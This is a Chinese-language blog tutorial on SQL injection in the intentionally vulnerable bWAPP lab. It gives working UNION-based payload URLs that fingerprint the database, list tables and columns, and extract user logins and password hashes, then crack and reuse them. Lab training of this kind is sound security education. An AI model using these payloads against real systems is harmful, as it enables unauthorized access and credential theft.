渗透入门之SQL 注入(1)

重要声明

SQL注入实验仅可在自己搭建的合法测试环境(如本地虚拟机、授权的测试服务器)中进行,严禁对任何非授权系统实施测试,否则可能违反《网络安全法》等法律法规,需承担相应法律责任。

一、 实验 环境

  • 操作系统:Linux、Windows10,;

1、 bwapp环境准备

  • 环境部署:平台已完成部署
  • 环境访问:浏览器输入http://192.168.0.100,点击"Login"进入登录页,默认账号密码:bee/bug;
  • 安全级别设置:登录后点击顶部"Security Level",选择"Low"(关闭基础防护,便于注入测试),点击"Apply"保存;
  • 场景定位:点击顶部"Buggy Apps",在下拉菜单中根据场景类型选择对应模块,即可进入目标测试页面。

(1) 使用前需要配置键盘

(2)IP配置(用户名bee,密码bug)

sudo ip addr add 192.168.0.100/24 dev 网卡名

二、 SQL注入常见场景分类及核心特征(bwapp环境适配)

SQL注入按请求方式、应用场景可分为6类,核心原理均为"用户输入未过滤直接拼接SQL",但注入点位置、参数传递方式存在差异。

1、 SQL Injection (GET/Search):GET请求搜索类注入

bwapp场景定位Buggy Apps > SQL Injection > "SQL Injection - Search (GET)"实验步骤正常业务验证:进入测试页面,在搜索框输入Man,点击"Search",页面显示包含"Man"的用户信息(正常响应);

( 1 ) 步骤 1 :判断注入点类型及存在性

在搜索框输入man'(添加单引号),点击"Search",页面显示MySQL语法错误(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''bee''' at line 1),说明存在字符型注入;

注释符验证:输入man' -- (注意--后加空格),点击"Search",页面无语法错误且正常显示结果,确认注入点有效;

( 2 ) 步骤 2 :判断查询的字段数:

① 判断列数:输入Man' order by 1-- - ,点击"Search",页面正常显示,依次输入,至此说明查询结果为7列;

② 利用MySQL自带的information_schema库,提取当前数据库名、版本、用户等信息:

|---------|------------------------------------------------------------------------------------------|
| 目标信息 | 构造URL示例 |
| 当前数据库名 | http://192.168.0.100/bwapp/sqli_1.php?title=man' union select 1,database(),3,4,5,6,7-- - |
| MySQL版本 | http://192.168.0.100/bwapp/sqli_1.php?title=man' union select 1,version(),3,4,5,6,7-- - |
| 数据库用户 | http://192.168.0.100/bwapp/sqli_1.php?title=man' union select 1,user(),3,4,5,6,7-- - |
| 数据存储目录 | http://192.168.0.100/bwapp/sqli_1.php?title=man' union select 1,@@datadir,3,4,5,6,7-- - |

示例结果:

当前数据库名是bwapp,

MySQL版本为5.0.96,

用户为root@localhost。

数据存储目录

( 3 ) 步骤 3 :获取数据库中的表名

提取bwapp数据库下的所有表名(重点关注users表,存储账号密码):

|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()-- - |

页面会列出表名:users、movies、blogs、guestbook等(核心目标:users)。

( 4 ) 步骤 4 :获取users表的列名

提取users表的所有列名(如账号、密码、邮箱等):

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schema=database() AND table_name='users' -- - |

页面会显示列名:id、username、password、email、admin等。

( 5 ) 步骤 5 :提取users表的账号密码数据

最终目标:获取用户凭证,构造URL如下:因本次用户名在login列

|------------------------------------------------------------------------------------------------|
| http://192.168.0.100/bwapp/sqli_1.php?title=man' UNION SELECT 1,login,password FROM users -- - |

页面会显示:

解密MD5值,bee→bug(与BWAPP默认密码一致)。

( 6 ) 步骤 6 :验证结果

用提取到的bee→bug登录BWAPP,验证账号密码的有效性。

相关推荐
阳光九叶草LXGZXJ3 小时前
达梦数据库-报错-15-列【XXX】长度超出定义
linux·运维·数据库·sql·学习
字节渡客4 小时前
Redis键明明过期了,业务还在读到旧数据
数据库·redis·spring
OnlineProxy6 小时前
亚马逊多账号运营:如何在规避“关联封号”风险的同时实现电商规模化扩张
服务器·数据库·redis
辻弋2018 小时前
五年前的旅行视频糊成马赛克?Video2X用Real-ESRGAN逐帧重建细节,但只支持Windows、集显用户建议直接放弃
服务器·数据库·windows·游戏引擎·电脑
可乐鸡翅yeah_9 小时前
业务中 M3U8 水印相关坑,硬水印和动态水印区别
前端·网络·数据库·ffmpeg·m3u8在线
石头麻辣鱼9 小时前
Bamboo 调度系统 OceanBase 适配实战:存储过程迁移踩过的三个大坑
数据库
龙亘川9 小时前
数智驱动民政升级 精准守护民生保障
大数据·数据库·人工智能
念何架构之路9 小时前
zap扩展生态与总结
java·前端·数据库
晚安日记wanna10 小时前
MySQL 回表为什么这么慢?5 种优化手段逐个拆解
数据库·mysql·性能优化
第七页独白10 小时前
汽车零件厂如何通过 QMS 真正落地 IATF 16949——QMS软件系统:品质检验-内审稽核-8d客诉管理:全星质量管理软件系统
java·前端·数据库